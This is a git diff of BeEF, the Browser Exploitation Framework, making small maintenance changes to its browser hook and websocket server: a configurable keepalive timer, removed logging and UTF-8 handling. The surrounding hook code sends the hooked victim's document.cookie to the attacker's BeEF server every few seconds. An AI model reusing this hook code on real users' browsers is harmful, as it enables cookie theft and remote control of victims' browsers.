diff --git a/core/main/client/net.js b/core/main/client/net.js
index 40490c50f..c5ea60c2e 100644
--- a/core/main/client/net.js
+++ b/core/main/client/net.js
@@ -98,8 +98,7 @@ beef.net = {
                 //todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed
                 this.queue(handler, cid, results, callback);
                 this.flush();
-                console.log("error in send " + e);
-            }
+                }
         }
     },
 
diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js
index 95af7bfbe..ffce2b03c 100644
--- a/core/main/client/websocket.js
+++ b/core/main/client/websocket.js
@@ -21,6 +21,8 @@ beef.websocket = {
 
     socket:null,
 
+    alive_timer:5000,
+
     init:function () {
         var webSocketServer = beef.net.host;
         var webSocketPort = 11989;
@@ -61,7 +63,7 @@ beef.websocket = {
     alive: function (){
         beef.websocket.send('{"alive":"'+document.cookie+'"}');
         console.log("sent alive");
-        setTimeout("beef.websocket.alive()", 5000);
+        setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
 
     }
 
diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb
index b66aff540..12459c5a2 100644
--- a/core/main/network_stack/websocket/websocket.rb
+++ b/core/main/network_stack/websocket/websocket.rb
@@ -53,6 +53,7 @@ module BeEF
                         @@activeSocket["#{messageHash["cookie"]}"] = ws
                         print_debug("In activesocket we have #{@@activeSocket}")
                       elsif messageHash["alive"] != nil
+                        #@todo browser could be not in bd so we have to add it
                         hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=",""))
                         hooked_browser.lastseen = Time.new.to_i
                         hooked_browser.count!
@@ -62,14 +63,14 @@ module BeEF
                       else
                         #json recv is a cmd response decode and send all to
                         #we have to call dynamicreconstructor handler camp must be websocket
-                        print_debug("Received from WebSocket #{messageHash}")
+                        #print_debug("Received from WebSocket #{messageHash}")
                         execute(messageHash)
                       end
                     end
                   end
               rescue Exception => e
                 print_error "Hooked browser from origin #{ws.origin} abruptly disconnected. #{e}"
-              end
+                 end
             end
           }
 
@@ -100,6 +101,7 @@ module BeEF
 
           command_results=Hash.new
           command_results["data"]=Base64.decode64(data["result"])
+          command_results["data"].force_encoding('UTF-8')
           (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"])
           (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
           (print_error "command name is empty"; return) if data["handler"].empty?